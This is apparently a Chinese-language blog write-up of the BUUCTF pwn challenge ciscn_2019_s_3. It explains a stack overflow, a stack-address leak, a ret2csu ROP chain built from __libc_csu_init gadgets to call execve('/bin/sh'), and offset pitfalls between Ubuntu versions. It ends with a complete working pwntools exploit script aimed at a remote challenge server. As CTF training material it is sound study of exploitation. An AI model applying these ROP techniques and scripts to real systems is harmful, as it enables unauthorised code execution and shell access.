ret2csu-for-BUUCTF-ciscn_2019_s_3

题目简介

BUUCTF原题,题目链接在这:BUUCTF原题:ciscn_2019_s_3

这道题的坑比较多,通过这题学到了很多细节上的东西,于是记录一下

漏洞点分析

首先拖进IDA观察,main函数就不多说了,直接跟进vuln函数


如图所示,看到read读取0x400字节,因此存在溢出

之后checksec检查,发现只开了NX

之后,查看gadget函数的反汇编,发现存在mov rax,3b的指令,如下图所示;而3b恰好是execve系统调用号


同时,函数表中没有发现任何明显可以泄露地址的函数(puts、write、printf等),所以不能ret2libc

综上,这道题的漏洞点在于通过溢出劫持执行流到ROP链,执行execve(“/bin/sh”,0,0)系统调用

漏洞点利用

首先寻找/bin/sh字符串的位置,shift+F12发现程序本身没有:


因此只能想办法将其布置在某个可写位置

首先想到布置在栈上,但是栈地址未知,需要能够泄露栈地址,这里观察到在vuln函数里存在一个write系统调用会输出0x30个字节,而buf只有16字节,因此该write操作会输出栈上的高地址处内容,有可能泄露栈上某个地址

具体泄露的是什么地址,需要通过调试确定,这里通过python脚本来确定,在0x400501即vuln函数调用read之前设置断点,并将泄露的地址写入文件保存,和buf地址相减计算偏移:

1
2
3
ioTube=gdb.debug(targetELF,"b *0x400501")
realAddr=LeakAddr(ioTube)
open("addr.txt","w").write(hex(realAddr))

具体的操作如下所示:

首先在调用read之前看到buf地址在0x7fff21e640d0,如下图:


之后继续执行程序,看到泄露地址=0x7fff21e64218,如下图:


综上,可以得到泄露地址距离buf地址有0x148字节

第二个问题是如何布置参数,通过ROPgadget工具,可以发现程序本身不存在控制rdx的可用碎片,至此利用思路似乎陷入僵局

但是,任何一个程序的__libc_csu_init函数里基本都会存在一些可以控制各个寄存器的代码段,如下图所示:


可以看到,在0x40059a地址开始,有一系列设置寄存器的指令,并且最后以ret结尾,而从0x400580地址开始,又存在我们想要的设置rdx等寄存器的指令

综上,可以先返回到0x40059a,将栈上布置好的值pop给r12~r15等寄存器;之后返回到0x400580地址处,再将需要的值mov给rdx、rsi等寄存器

这里再说一下payload构造的一些细节:

第一,r15寄存器没有作用(只能控制edi)所以直接置0即可

第二,关键的是r12、rbp、rbx寄存器,由于在第二阶段会call [r12+rbx8]

因此我们可以把rbx置0,r12设置成: 想要的返回地址所在的地址 注意,为什么这里r12要是二级指针,因为是call [r12]而不是call r12(做题时在这里卡了很久,没注意到有一次解引用……)

至于rbp,由于0x400591地址处存在一个比较和循环,所以需要把rbp设置成rbx+1,以便跳出循环,让程序顺利走到最后的ret指令

最后,在第二阶段,还需要填充一共7
8=56字节的脏数据,因为从0x400596到0x4005a2的指令会让rsp移动56字节

因此构造的payload如下:

1
2
3
4
5
6
7
8
csuSetStack=0x40059a       # push rbx ; push rbp; push r12 ; push r13 ; push r14 ; push r15 ; ret
csuSetRegister=0x400580 # rdx=r13; rsi=r14 ; edi=r15 call r12 ; rbx+=1 ; cmp rbx ,rbp; jne back ; csuSetStack……ret
binshStackAddr=reals-0x148
padding=b'A'*56
payload2=b"/bin/sh\x00"+p64(mov_rax_ret)
payload2+=p64(csuSetStack)+p64(0)+p64(1)+p64(binshStackAddr+0x8)+p64(0)+p64(0)+p64(0)
payload2+=p64(csuSetRegister)+padding
payload2+=p64(pop_rdi_ret)+p64(binshStackAddr)+p64(syscallAddr)+p64(backAddr)

其中,reals为泄露的栈地址,这里我采用让call [r12]跳转到mov rax,59的指令处,并把该指令布置在/bin/sh字符串的上方

最后一步,确定buffer首地址距离vuln函数返回地址的偏移量

为什么这一步放到最后记录,因为这道题目有一个巨大的坑,如果只通过IDA来确定偏移量,如第一张图所示,offset应该=0x10+0x8=0x18

但是这是错的,这道题不能依赖IDA来确定offset,因为当仔细观察vuln函数的反汇编时会发现,结尾并没有熟悉的leave操作,而是直接ret,并不符合一般函数的退栈流程,因此不能假定返回地址在rbp的高一格位置

至于为什么会出现这种情况?个人怀疑这里是出题者故意设计的,因为我们需要一个syscall ; ret的碎片,所以出题者故意没有加leave指令

因此需要使用cyclic工具来计算偏移量,最后算出来offset=0x10,如下图所示:

综上,可以写出如下的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]
LOCAL=0
REMOTE=1
DEBUG=2

targetELF="./pwn"
elf=ELF(targetELF)
offset=16

backAddr=elf.symbols["vuln"]

retAlignPadding=0x4003a9 # ret
mov_rax_ret=0x4004e2 # mov rax,59 ; ret
pop_rdi_ret=0x4005a3 # pop rdi ; ret
syscallAddr=0x400517 # syscall
csuSetStack=0x40059a # push rbx ; push rbp; push r12 ; push r13 ; push r14 ; push r15 ; ret
csuSetRegister=0x400580 # rdx=r13; rsi=r14 ; edi=r15 call r12 ; rbx+=1 ; cmp rbx ,rbp; jne back ; csuSetStack……ret

binshBytes=0x2f62696e2f736800

def Lauch(mode=LOCAL):
if mode==LOCAL:
ioTube=process(targetELF)
return ioTube
elif mode ==REMOTE:
ioTube=remote("node5.buuoj.cn",25733)
return ioTube
elif mode==DEBUG:
ioTube=gdb.debug(targetELF,"b *0x400519")
return ioTube

def LeakAddr(io):
payload1=b'a'*offset+p64(backAddr)
io.send(payload1)
io.recv(0x20)
response=io.recv(0x10)
realAddr=u64(response[0:8].ljust(8,b'\x00'))
return realAddr

def Attack(io,reals):
binshStackAddr=reals-0x148
padding=b'A'*56
payload2=b"/bin/sh\x00"+p64(mov_rax_ret)
payload2+=p64(csuSetStack)+p64(0)+p64(1)+p64(binshStackAddr+0x8)+p64(0)+p64(0)+p64(0)
payload2+=p64(csuSetRegister)+padding
payload2+=p64(pop_rdi_ret)+p64(binshStackAddr)+p64(syscallAddr)+p64(backAddr)
io.send(payload2)
io.recv()
io.interactive()

ioTube=Lauch()
realAddr=LeakAddr(ioTube)
open("addr.txt","w").write(hex(realAddr))
Attack(ioTube,realAddr)

但是至此还没结束,这也是这道题的最后一个坑

由于上述分析是在ubuntu22上进行的,因此当我在本地打通之后,无法打通远程

后来观察题目,发现服务器环境是ubuntu18,因此换了台ubuntu18的虚拟机,重新分析了一遍,发现是泄露地址距离buf的偏移发生了变化(上文算的0x148不对),如下图所示:


可以看到二者距离应该是0x7ffc426e0da8-0x7ffc426e0c90=0x118
其他地址并没有错误,因此将上述脚本中的binshStackAddr改为reals-0x118即可


ret2csu-for-BUUCTF-ciscn_2019_s_3
http://0x4a-210.github.io/2025/08/05/pwn刷题记录/ROP/ret2csu/ret2csu-for-BUUCTF-ciscn-2019-s-3/
Posted on
August 5, 2025
Licensed under